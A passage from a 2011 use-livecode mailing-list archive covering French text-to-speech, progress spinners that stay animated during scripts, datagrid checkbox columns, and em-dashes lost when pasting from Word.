http://forums.runrev.com/viewtopic.php?f=54&t=10350 > > Thanks, > > John. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Wed Dec 14 13:51:27 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 10:51:27 -0800 Subject: French Ears In-Reply-To: <4A609EA8-D262-4396-ADD9-1964B06485C3@numericable.com> References: <1323886089.60053.YahooMailClassic@web161601.mail.bf1.yahoo.com> <4A609EA8-D262-4396-ADD9-1964B06485C3@numericable.com> Message-ID: <884BC368-BCF8-4EEB-8D07-EE6FE0A79BDD@twft.com> The only French I know is, "Come on, tally voo, silver plate". Bob On Dec 14, 2011, at 10:41 AM, Ren? Micout wrote: > Hello Michael, > > For a computer it is not bad... > It is a real French accent. > There is some little mistakes but due to the computer rather than the speaker... > > Bon souvenir de Paris > Ren? > > Le 14 d?c. 2011 ? 19:08, Michael Kann a ?crit : > >> I know there are some list listeners with exquisite ears for the French Language. I was wondering if this website has the best French text to speech sound, or are there better ones on the web. I'm not interested in the translations, just the quality of the French accent. >> >> Here's the site: >> >> http://imtranslator.net/translate-and-speak/ >> >> Thank you, >> >> Michael Kann >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From rene.micout at numericable.com Wed Dec 14 13:54:47 2011 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Wed, 14 Dec 2011 19:54:47 +0100 Subject: French Ears In-Reply-To: <884BC368-BCF8-4EEB-8D07-EE6FE0A79BDD@twft.com> References: <1323886089.60053.YahooMailClassic@web161601.mail.bf1.yahoo.com> <4A609EA8-D262-4396-ADD9-1964B06485C3@numericable.com> <884BC368-BCF8-4EEB-8D07-EE6FE0A79BDD@twft.com> Message-ID: <61EEFD34-1D9A-404F-8AC7-F5EFB559CA1C@numericable.com> Comment allez-vous, s'il vous plait ? Le 14 d?c. 2011 ? 19:51, Bob Sneidar a ?crit : > The only French I know is, "Come on, tally voo, silver plate". > > Bob > > > On Dec 14, 2011, at 10:41 AM, Ren? Micout wrote: > >> Hello Michael, >> >> For a computer it is not bad... >> It is a real French accent. >> There is some little mistakes but due to the computer rather than the speaker... >> >> Bon souvenir de Paris >> Ren? >> >> Le 14 d?c. 2011 ? 19:08, Michael Kann a ?crit : >> >>> I know there are some list listeners with exquisite ears for the French Language. I was wondering if this website has the best French text to speech sound, or are there better ones on the web. I'm not interested in the translations, just the quality of the French accent. >>> >>> Here's the site: >>> >>> http://imtranslator.net/translate-and-speak/ >>> >>> Thank you, >>> >>> Michael Kann >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From rene.micout at numericable.com Wed Dec 14 14:01:16 2011 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Wed, 14 Dec 2011 20:01:16 +0100 Subject: Independent Progress Bar In-Reply-To: References: Message-ID: <5E359353-1E32-4A89-84F6-46524ED44B65@numericable.com> Hello Bob, You can use a gif, see here : http://www.ajaxload.info/ Ren? Le 14 d?c. 2011 ? 19:15, Bob Sneidar a ?crit : > Hi all. I know this has been discussed in length in the past, but I cannot remember what the conclusion was. Does anyone have/know about an independent progress bar/wheel that can be used with Livecode, that will function independently even when Livecode is running a script? I know I could kludge it myself if I had control over the scripts I am running, but I do not. > > One script is Trevor's sqlYoga which is locked, and also I am opening an SQL database remotely, and it takes a few seconds sometimes to have that return control. What is needed is an addon dialog created in some version of C that we can call on to display a progress bar/spinner, but I am not sure if anyone has made such a thing. > > Seems like a really good addition to Livecode, but I don't think we are going to see something like that soon. > > Bob > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at mollysrevenge.com Wed Dec 14 14:01:39 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 14 Dec 2011 11:01:39 -0800 Subject: Checkbox in datagrid column In-Reply-To: <75FA097A-8E4A-4AC4-B1BE-4F54601A516C@twft.com> References: <8539525C-1E2B-44EC-8B48-9B48CAA40746@twft.com> <75FA097A-8E4A-4AC4-B1BE-4F54601A516C@twft.com> Message-ID: I'm not familiar with sqlyoga but I assume you have to set up a SELECT statement to return the array so you should be able to include a constant ( eg 'false') in the SELECT statement which presumably would end up in the array. Something like: SELECT thiscolumn, thatcolumn,theothercolumn,'false' FROM theTable.... Or maybe you need a CASE statement in the SELECT to figure out if there are any links between the primary entry and the altData entry. But if the external checkboxes look OK, that's all moot. Pete On Wed, Dec 14, 2011 at 10:45 AM, Bob Sneidar wrote: > Hi and thanks for the reply. > > My problem is that I populate the datagrid by taking the array produced by > sqlquery_retrieveDataAsArray from Trevor's sqlYoga library and setting the > dgData of the datagrid to that. It's very fast and efficient, but of > course, the SQL database does not have a checkbox column, and the values > have to be set "on the fly", that is dependent on whether or not the > altData record has a relational link to the primary data record. > > But all this is moot, because after thinking about it, I just created a > group of checkbox buttons the size of my altData datagrid, and I show and > hide them as needed. I can write a script to enable or disable them based > upon the state of the dgDataOfLine next to the corresponding checkbox. > Simple, elegant, hackage. :-) > > Bob > > > On Dec 14, 2011, at 10:26 AM, zryip theSlug wrote: > > > Hi Bob and Pete, > > > > As replied by Pete, a simple solution could consist to hide or show > > the checkbox column. > > > > The correct syntax is: > > > > set the dgColumnIsVisible["myColumn"] of grp "MyDataGrid" to {true or > false} > > > > > > > > Best regards, > > -- > > -Zryip TheSlug- wish you the best! 8) > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From jacque at hyperactivesw.com Wed Dec 14 14:02:57 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 14 Dec 2011 13:02:57 -0600 Subject: characters lost pasting from Word To LiveCode field In-Reply-To: References: Message-ID: <4EE8F2E1.2040905@hyperactivesw.com> On 12/14/11 12:47 PM, FlexibleLearning wrote: > This scriptlet looks like a means of ensuring that accented and unicode > characters in plain text format transfer between platforms to me rather than > a bridge between text editors. Yes, you're right. When it went through the list, that was apparently the problem but I guess in this case it isn't. > > On Dec 13, 2011, at 9:02 PM, J. Landman Gay wrote: > >> On 12/13/11 5:09 PM, Sieg Lindstrom wrote: >> >>> I'll say up front the details of text encoding are not my strong suit. > With >>> earlier versions (RunRev 4.x and earlier), I'd sometimes have to write >>> special routines to search and replace certain characters from the pasted >>> text. For example, the em-dash, "?" (chartonum 209), which after pasting >>> from Word was seen by RunRev as two characters (a two-byte character?), >>> numtochar of 32 followed by numtochar of 20 so I wrote a routine to just >>> search and replace to numToChar of 209. My new problem is that with > LiveCode >>> 5.0x (I just upgraded to 5.02), the em-dash if pasted from a Word file >>> instantly disappears from the text. >> >> Someone once posted a function to the list that translates Word text to > useable LiveCode text. I saved it but haven't ever tried it. I wish I'd also > recorded who wrote it: >> >> function revText theText >> return unidecode(uniencode(theText,"utf8")) >> end revText >> >> Use that on the clipboard contents and see if it does what you need. >> > > No workie Jacque. From word I get empty. From Textedit I get ??? If I put > just the clipboardData from Word I get nothing. If I put the clipboardData > from Textedit I get an emDash. Bottom line: Microsoft does not play well > with Livecode's clipboard. Other apps are fine. > > Bob > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From bobs at twft.com Wed Dec 14 14:05:03 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 11:05:03 -0800 Subject: French Ears In-Reply-To: <61EEFD34-1D9A-404F-8AC7-F5EFB559CA1C@numericable.com> References: <1323886089.60053.YahooMailClassic@web161601.mail.bf1.yahoo.com> <4A609EA8-D262-4396-ADD9-1964B06485C3@numericable.com> <884BC368-BCF8-4EEB-8D07-EE6FE0A79BDD@twft.com> <61EEFD34-1D9A-404F-8AC7-F5EFB559CA1C@numericable.com> Message-ID: <1E742486-F189-4BB5-AD08-0F3BC1B9D25D@twft.com> What in the world are you talking about?? ;-) Bob On Dec 14, 2011, at 10:54 AM, Ren? Micout wrote: > Comment allez-vous, s'il vous plait ? > > Le 14 d?c. 2011 ? 19:51, Bob Sneidar a ?crit : > >> The only French I know is, "Come on, tally voo, silver plate". >> >> Bob From rene.micout at numericable.com Wed Dec 14 14:05:38 2011 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Wed, 14 Dec 2011 20:05:38 +0100 Subject: Independent Progress Bar In-Reply-To: <5E359353-1E32-4A89-84F6-46524ED44B65@numericable.com> References: <5E359353-1E32-4A89-84F6-46524ED44B65@numericable.com> Message-ID: <78820B3D-2549-467A-87B2-9598182831EB@numericable.com> I have test it ! Choose a gif spinner Generate it Download it Import it as control in LiveCode And hide/show it I think it is great... Le 14 d?c. 2011 ? 20:01, Ren? Micout a ?crit : > Hello Bob, > You can use a gif, see here : > > http://www.ajaxload.info/ > > Ren? > > Le 14 d?c. 2011 ? 19:15, Bob Sneidar a ?crit : > >> Hi all. I know this has been discussed in length in the past, but I cannot remember what the conclusion was. Does anyone have/know about an independent progress bar/wheel that can be used with Livecode, that will function independently even when Livecode is running a script? I know I could kludge it myself if I had control over the scripts I am running, but I do not. >> >> One script is Trevor's sqlYoga which is locked, and also I am opening an SQL database remotely, and it takes a few seconds sometimes to have that return control. What is needed is an addon dialog created in some version of C that we can call on to display a progress bar/spinner, but I am not sure if anyone has made such a thing. >> >> Seems like a really good addition to Livecode, but I don't think we are going to see something like that soon. >> >> Bob >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > From rene.micout at numericable.com Wed Dec 14 14:06:34 2011 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Wed, 14 Dec 2011 20:06:34 +0100 Subject: Independent Progress Bar In-Reply-To: <78820B3D-2549-467A-87B2-9598182831EB@numericable.com> References: <5E359353-1E32-4A89-84F6-46524ED44B65@numericable.com> <78820B3D-2549-467A-87B2-9598182831EB@numericable.com> Message-ID: <5C95176C-B070-4F4D-B7FF-B39E83659AFA@numericable.com> It is better than Spinner Store :-( Le 14 d?c. 2011 ? 20:05, Ren? Micout a ?crit : > I have test it ! > Choose a gif spinner > Generate it > Download it > Import it as control in LiveCode > And hide/show it > I think it is great... > > Le 14 d?c. 2011 ? 20:01, Ren? Micout a ?crit : > >> Hello Bob, >> You can use a gif, see here : >> >> http://www.ajaxload.info/ >> >> Ren? >> >> Le 14 d?c. 2011 ? 19:15, Bob Sneidar a ?crit : >> >>> Hi all. I know this has been discussed in length in the past, but I cannot remember what the conclusion was. Does anyone have/know about an independent progress bar/wheel that can be used with Livecode, that will function independently even when Livecode is running a script? I know I could kludge it myself if I had control over the scripts I am running, but I do not. >>> >>> One script is Trevor's sqlYoga which is locked, and also I am opening an SQL database remotely, and it takes a few seconds sometimes to have that return control. What is needed is an addon dialog created in some version of C that we can call on to display a progress bar/spinner, but I am not sure if anyone has made such a thing. >>> >>> Seems like a really good addition to Livecode, but I don't think we are going to see something like that soon. >>> >>> Bob >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> > From richmondmathewson at gmail.com Wed Dec 14 14:06:18 2011 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 14 Dec 2011 21:06:18 +0200 Subject: French Ears In-Reply-To: <61EEFD34-1D9A-404F-8AC7-F5EFB559CA1C@numericable.com> References: <1323886089.60053.YahooMailClassic@web161601.mail.bf1.yahoo.com> <4A609EA8-D262-4396-ADD9-1964B06485C3@numericable.com> <884BC368-BCF8-4EEB-8D07-EE6FE0A79BDD@twft.com> <61EEFD34-1D9A-404F-8AC7-F5EFB559CA1C@numericable.com> Message-ID: <4EE8F3AA.1080207@gmail.com> On 12/14/2011 08:54 PM, Ren? Micout wrote: > Comment allez-vous, s'il vous plait ? Possiblement, mon vieux . . . :) Ou, sacre cochon, l'Ecossais parle un petit peu de la langue d'Alembert trop execrable! J'ai un accent Nord Africain apres mon travail avec les flics Egyptiens avant 24 ans. Apres des annees des lecons trop mal en des ecoles d'Angleterre, et l'influence (ou, possiblement "l'effluence") des agents en Egypte Je parle un marmite de Francais, avec beaucoup d'ail!!! Je ne comprend pas ???? Apple, Microsoft et al ne fabrique pas les voix artificiels en autres langues, mais a ce moment ici les Major Players avant seulement les voix de Nord Amerique. ???? ?? ???? ? ????? ?? l'arrogance des Anglophones? An tae think qhat a grand new towmond we mun hae sans Anglais . . . :) From rene.micout at numericable.com Wed Dec 14 14:14:10 2011 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Wed, 14 Dec 2011 20:14:10 +0100 Subject: French Ears In-Reply-To: <4EE8F3AA.1080207@gmail.com> References: <1323886089.60053.YahooMailClassic@web161601.mail.bf1.yahoo.com> <4A609EA8-D262-4396-ADD9-1964B06485C3@numericable.com> <884BC368-BCF8-4EEB-8D07-EE6FE0A79BDD@twft.com> <61EEFD34-1D9A-404F-8AC7-F5EFB559CA1C@numericable.com> <4EE8F3AA.1080207@gmail.com> Message-ID: <1061EB75-8CAD-4F21-91F8-47AE339B3946@numericable.com> On n'est pas loin du charabia. Mais on comprend l'essentiel ! Traduction : It is not far from gibberish. But we understand the basics! ;-) Le 14 d?c. 2011 ? 20:06, Richmond a ?crit : > On 12/14/2011 08:54 PM, Ren? Micout wrote: >> Comment allez-vous, s'il vous plait ? > > Possiblement, mon vieux . . . :) > > Ou, sacre cochon, l'Ecossais parle un petit peu de la langue d'Alembert trop execrable! > > J'ai un accent Nord Africain apres mon travail avec les flics Egyptiens avant 24 ans. > > Apres des annees des lecons trop mal en des ecoles d'Angleterre, et l'influence > (ou, possiblement "l'effluence") des agents en Egypte Je parle un marmite de Francais, > avec beaucoup d'ail!!! > > Je ne comprend pas ???? Apple, Microsoft et al ne fabrique pas les voix artificiels en > autres langues, mais a ce moment ici les Major Players avant seulement les voix > de Nord Amerique. > > ???? ?? ???? ? ????? ?? l'arrogance des Anglophones? > > An tae think qhat a grand new towmond we mun hae sans Anglais . . . :) > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From stephenREVOLUTION2 at barncard.com Wed Dec 14 14:25:44 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Wed, 14 Dec 2011 11:25:44 -0800 Subject: Independent Progress Bar In-Reply-To: <5C95176C-B070-4F4D-B7FF-B39E83659AFA@numericable.com> References: <5E359353-1E32-4A89-84F6-46524ED44B65@numericable.com> <78820B3D-2549-467A-87B2-9598182831EB@numericable.com> <5C95176C-B070-4F4D-B7FF-B39E83659AFA@numericable.com> Message-ID: I think the animated gifs will stall while certain operations are happening. On 14 December 2011 11:06, Ren? Micout wrote: > It is better than Spinner Store > :-( > > > Le 14 d?c. 2011 ? 20:05, Ren? Micout a ?crit : > > > I have test it ! > > Choose a gif spinner > > Generate it > > Download it > > Import it as control in LiveCode > > And hide/show it > > I think it is great... > > > > Le 14 d?c. 2011 ? 20:01, Ren? Micout a ?crit : > > > >> Hello Bob, > >> You can use a gif, see here : > >> > >> http://www.ajaxload.info/ > >> > >> Ren? > >> > >> Le 14 d?c. 2011 ? 19:15, Bob Sneidar a ?crit : > >> > >>> Hi all. I know this has been discussed in length in the past, but I > cannot remember what the conclusion was. Does anyone have/know about an > independent progress bar/wheel that can be used with Livecode, that will > function independently even when Livecode is running a script? I know I > could kludge it myself if I had control over the scripts I am running, but > I do not. > >>> > >>> One script is Trevor's sqlYoga which is locked, and also I am opening > an SQL database remotely, and it takes a few seconds sometimes to have that > return control. What is needed is an addon dialog created in some version > of C that we can call on to display a progress bar/spinner, but I am not > sure if anyone has made such a thing. > >>> > >>> Seems like a really good addition to Livecode, but I don't think we > are going to see something like that soon. > >>> > >>> Bob > >>> _______________________________________________ > >>> use-livecode mailing list > >>> use-livecode at lists.runrev.com > >>> Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > >>> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From rene.micout at numericable.com Wed Dec 14 14:29:48 2011 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Wed, 14 Dec 2011 20:29:48 +0100 Subject: Independent Progress Bar In-Reply-To: References: <5E359353-1E32-4A89-84F6-46524ED44B65@numericable.com> <78820B3D-2549-467A-87B2-9598182831EB@numericable.com> <5C95176C-B070-4F4D-B7FF-B39E83659AFA@numericable.com> Message-ID: <891DD1DC-4AF3-4BE0-A32F-02EAAB954287@numericable.com> Yes I think so but this is the case in Mac OS X (... sometimes...) Le 14 d?c. 2011 ? 20:25, stephen barncard a ?crit : > I think the animated gifs will stall while certain operations are happening. > > On 14 December 2011 11:06, Ren? Micout wrote: > >> It is better than Spinner Store >> :-( >> >> >> Le 14 d?c. 2011 ? 20:05, Ren? Micout a ?crit : >> >>> I have test it ! >>> Choose a gif spinner >>> Generate it >>> Download it >>> Import it as control in LiveCode >>> And hide/show it >>> I think it is great... >>> >>> Le 14 d?c. 2011 ? 20:01, Ren? Micout a ?crit : >>> >>>> Hello Bob, >>>> You can use a gif, see here : >>>> >>>> http://www.ajaxload.info/ >>>> >>>> Ren? >>>> >>>> Le 14 d?c. 2011 ? 19:15, Bob Sneidar a ?crit : >>>> >>>>> Hi all. I know this has been discussed in length in the past, but I >> cannot remember what the conclusion was. Does anyone have/know about an >> independent progress bar/wheel that can be used with Livecode, that will >> function independently even when Livecode is running a script? I know I >> could kludge it myself if I had control over the scripts I am running, but >> I do not. >>>>> >>>>> One script is Trevor's sqlYoga which is locked, and also I am opening >> an SQL database remotely, and it takes a few seconds sometimes to have that >> return control. What is needed is an addon dialog created in some version >> of C that we can call on to display a progress bar/spinner, but I am not >> sure if anyone has made such a thing. >>>>> >>>>> Seems like a really good addition to Livecode, but I don't think we >> are going to see something like that soon. >>>>> >>>>> Bob >>>>> _______________________________________________ >>>>> use-livecode mailing list >>>>> use-livecode at lists.runrev.com >>>>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > > -- > > > > Stephen Barncard > San Francisco Ca. USA > > more about sqb > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Wed Dec 14 14:33:42 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 11:33:42 -0800 Subject: Independent Progress Bar In-Reply-To: <5C95176C-B070-4F4D-B7FF-B39E83659AFA@numericable.com> References: <5E359353-1E32-4A89-84F6-46524ED44B65@numericable.com> <78820B3D-2549-467A-87B2-9598182831EB@numericable.com> <5C95176C-B070-4F4D-B7FF-B39E83659AFA@numericable.com> Message-ID: Better than my solution too! I created a standalone and used applescript to activate it. Now maybe I will use that site to create a Plugin for spinners. Bob On Dec 14, 2011, at 11:06 AM, Ren? Micout wrote: > It is better than Spinner Store > :-( > > > Le 14 d?c. 2011 ? 20:05, Ren? Micout a ?crit : > >> I have test it ! >> Choose a gif spinner >> Generate it >> Download it >> Import it as control in LiveCode >> And hide/show it >> I think it is great... >> >> Le 14 d?c. 2011 ? 20:01, Ren? Micout a ?crit : >> >>> Hello Bob, >>> You can use a gif, see here : >>> >>> http://www.ajaxload.info/ >>> >>> Ren? >>> >>> Le 14 d?c. 2011 ? 19:15, Bob Sneidar a ?crit : >>> >>>> Hi all. I know this has been discussed in length in the past, but I cannot remember what the conclusion was. Does anyone have/know about an independent progress bar/wheel that can be used with Livecode, that will function independently even when Livecode is running a script? I know I could kludge it myself if I had control over the scripts I am running, but I do not. >>>> >>>> One script is Trevor's sqlYoga which is locked, and also I am opening an SQL database remotely, and it takes a few seconds sometimes to have that return control. What is needed is an addon dialog created in some version of C that we can call on to display a progress bar/spinner, but I am not sure if anyone has made such a thing. >>>> >>>> Seems like a really good addition to Livecode, but I don't think we are going to see something like that soon. >>>> >>>> Bob >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Wed Dec 14 14:44:48 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 11:44:48 -0800 Subject: Independent Progress Bar In-Reply-To: References: <5E359353-1E32-4A89-84F6-46524ED44B65@numericable.com> <78820B3D-2549-467A-87B2-9598182831EB@numericable.com> <5C95176C-B070-4F4D-B7FF-B39E83659AFA@numericable.com> Message-ID: <1F7AB117-0EC4-4766-A467-7E2A33783B03@twft.com> Ohhh you are right. Well my Standalone idea works a peach, if you can stand having a user see another app launch with only one menu, then disappear without knowing why. I could make it more robust if I knew how to pass information to a standalone created in Livecode. I think there are some lessons on that. Time to read up a bit. Bob On Dec 14, 2011, at 11:25 AM, stephen barncard wrote: > I think the animated gifs will stall while certain operations are happening. > > On 14 December 2011 11:06, Ren? Micout wrote: > >> It is better than Spinner Store >> :-( >> >> >> Le 14 d?c. 2011 ? 20:05, Ren? Micout a ?crit : >> >>> I have test it ! >>> Choose a gif spinner >>> Generate it >>> Download it >>> Import it as control in LiveCode >>> And hide/show it >>> I think it is great... >>> >>> Le 14 d?c. 2011 ? 20:01, Ren? Micout a ?crit : >>> >>>> Hello Bob, >>>> You can use a gif, see here : >>>> >>>> http://www.ajaxload.info/ >>>> >>>> Ren? >>>> >>>> Le 14 d?c. 2011 ? 19:15, Bob Sneidar a ?crit : >>>> >>>>> Hi all. I know this has been discussed in length in the past, but I >> cannot remember what the conclusion was. Does anyone have/know about an >> independent progress bar/wheel that can be used with Livecode, that will >> function independently even when Livecode is running a script? I know I >> could kludge it myself if I had control over the scripts I am running, but >> I do not. >>>>> >>>>> One script is Trevor's sqlYoga which is locked, and also I am opening >> an SQL database remotely, and it takes a few seconds sometimes to have that >> return control. What is needed is an addon dialog created in some version >> of C that we can call on to display a progress bar/spinner, but I am not >> sure if anyone has made such a thing. >>>>> >>>>> Seems like a really good addition to Livecode, but I don't think we >> are going to see something like that soon. >>>>> >>>>> Bob >>>>> _______________________________________________ >>>>> use-livecode mailing list >>>>> use-livecode at lists.runrev.com >>>>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > > -- > > > > Stephen Barncard > San Francisco Ca. USA > > more about sqb > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From stephenREVOLUTION2 at barncard.com Wed Dec 14 14:49:25 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Wed, 14 Dec 2011 11:49:25 -0800 Subject: Independent Progress Bar In-Reply-To: <1F7AB117-0EC4-4766-A467-7E2A33783B03@twft.com> References: <5E359353-1E32-4A89-84F6-46524ED44B65@numericable.com> <78820B3D-2549-467A-87B2-9598182831EB@numericable.com> <5C95176C-B070-4F4D-B7FF-B39E83659AFA@numericable.com> <1F7AB117-0EC4-4766-A467-7E2A33783B03@twft.com> Message-ID: there was also a script for an animated spinner that used 'send in time' to advance the frames. I'll try and find it if interested. sqb On 14 December 2011 11:44, Bob Sneidar wrote: > Ohhh you are right. Well my Standalone idea works a peach, if you can > stand having a user see another app launch with only one menu, then > disappear without knowing why. I could make it more robust if I knew how to > pass information to a standalone created in Livecode. I think there are > some lessons on that. Time to read up a bit. > > Bob > > > On Dec 14, 2011, at 11:25 AM, stephen barncard wrote: > > > I think the animated gifs will stall while certain operations are > happening. > > > > On 14 December 2011 11:06, Ren? Micout > wrote: > > > >> It is better than Spinner Store > >> :-( > >> > >> > >> Le 14 d?c. 2011 ? 20:05, Ren? Micout a ?crit : > >> > >>> I have test it ! > >>> Choose a gif spinner > >>> Generate it > >>> Download it > >>> Import it as control in LiveCode > >>> And hide/show it > >>> I think it is great... > >>> > >>> Le 14 d?c. 2011 ? 20:01, Ren? Micout a ?crit : > >>> > >>>> Hello Bob, > >>>> You can use a gif, see here : > >>>> > >>>> http://www.ajaxload.info/ > >>>> > >>>> Ren? > >>>> > >>>> Le 14 d?c. 2011 ? 19:15, Bob Sneidar a ?crit : > >>>> > >>>>> Hi all. I know this has been discussed in length in the past, but I > >> cannot remember what the conclusion was. Does anyone have/know about an > >> independent progress bar/wheel that can be used with Livecode, that will > >> function independently even when Livecode is running a script? I know I > >> could kludge it myself if I had control over the scripts I am running, > but > >> I do not. > >>>>> > >>>>> One script is Trevor's sqlYoga which is locked, and also I am opening > >> an SQL database remotely, and it takes a few seconds sometimes to have > that > >> return control. What is needed is an addon dialog created in some > version > >> of C that we can call on to display a progress bar/spinner, but I am not > >> sure if anyone has made such a thing. > >>>>> > >>>>> Seems like a really good addition to Livecode, but I don't think we > >> are going to see something like that soon. > >>>>> > >>>>> Bob > >>>>> _______________________________________________ > >>>>> use-livecode mailing list > >>>>> use-livecode at lists.runrev.com > >>>>> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >>>>> http://lists.runrev.com/mailman/listinfo/use-livecode > >>>> > >>> > >> > >> > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > >> subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > >> > > > > > > > > -- > > > > > > > > Stephen Barncard > > San Francisco Ca. USA > > > > more about sqb > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From ambassador at fourthworld.com Wed Dec 14 15:48:18 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Wed, 14 Dec 2011 12:48:18 -0800 Subject: Independent Progress Bar In-Reply-To: References: Message-ID: <4EE90B92.6090909@fourthworld.com> FWIW: Asynchronous GIF playback -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From bobs at twft.com Wed Dec 14 16:05:44 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 14 Dec 2011 13:05:44 -0800 Subject: Independent Progress Bar In-Reply-To: <4EE90B92.6090909@fourthworld.com> References: <4EE90B92.6090909@fourthworld.com> Message-ID: <50F3616A-910B-43A0-B1B0-A02FAA0CB54D@twft.com> Voted for it. Not too many people seem to be using this system though. Bob On Dec 14, 2011, at 12:48 PM, Richard Gaskin wrote: > FWIW: > > Asynchronous GIF playback > > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > LiveCode Journal blog: http://LiveCodejournal.com/blog.irv > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Wed Dec 14 16:10:58 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: 